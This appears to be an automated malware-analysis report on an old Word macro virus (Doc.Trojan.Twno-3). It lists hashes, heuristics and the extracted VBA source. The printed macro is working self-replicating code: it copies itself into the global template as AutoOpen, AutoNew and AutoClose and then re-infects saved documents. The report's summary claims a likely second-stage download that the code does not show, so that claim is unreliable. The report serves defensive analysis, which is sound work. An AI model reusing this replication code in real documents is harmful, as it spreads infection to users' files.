Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5814e861e2e0d70e…

MALICIOUS

Office (OLE)

29.5 KB Created: 1999-06-09 02:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7af560b5c97c8a169163410475215746 SHA-1: 916078b4d64dd11c7b880a3d2801936711cefb6d SHA-256: 5814e861e2e0d70e57625585db39fe1519790fb3bd5b6f7dac286374327eb95b
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen, AutoNew, and AutoClose, which are commonly used to execute malicious code upon opening or closing the document. The presence of these macros and the ClamAV detection strongly suggest a malicious intent, likely to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2229 bytes
SHA-256: 65fe444b952c626ae0572f188eeeeef405441b7faf0256800ecfc0439cbd8a05
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim i
Dim ans$
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
WordBasic.DisableInput 1
If WordBasic.Day(WordBasic.Now()) = 32 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
test = -1
con = 1
i = 0

        While test = -1

            ans$ = WordBasic.[InputBox$]("ÎĘĚâ:" + Chr(13) + _
"Çë°Ń" + Chr(-24144) + "ÖĄÂé,ÖĄÂé,żŞĂŰÉ!" + Chr(-24143) + "Őâľä»°ŇëłÉÓ˘Óď!", "ͬĽĂŇ»şĹşę˛ˇ¶ľ")
            If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "panacea" Then
            GoTo exit_
            End If
            If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "Sesame, sesame, open the door!" Then
            WordBasic.MsgBox "·ÇłŁŐýȷَÄăÍŃĎŐÁËŁˇ", "ͬĽĂŇ»şĹşę˛ˇ¶ľ"
            GoTo exit_
            Else
            WordBasic.CenterPara
            WordBasic.FormatFont Points:=16, Bold:=1, Underline:=1
            WordBasic.Insert "WRONG! "
            GoTo try
            End If

        Wend
            End If

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub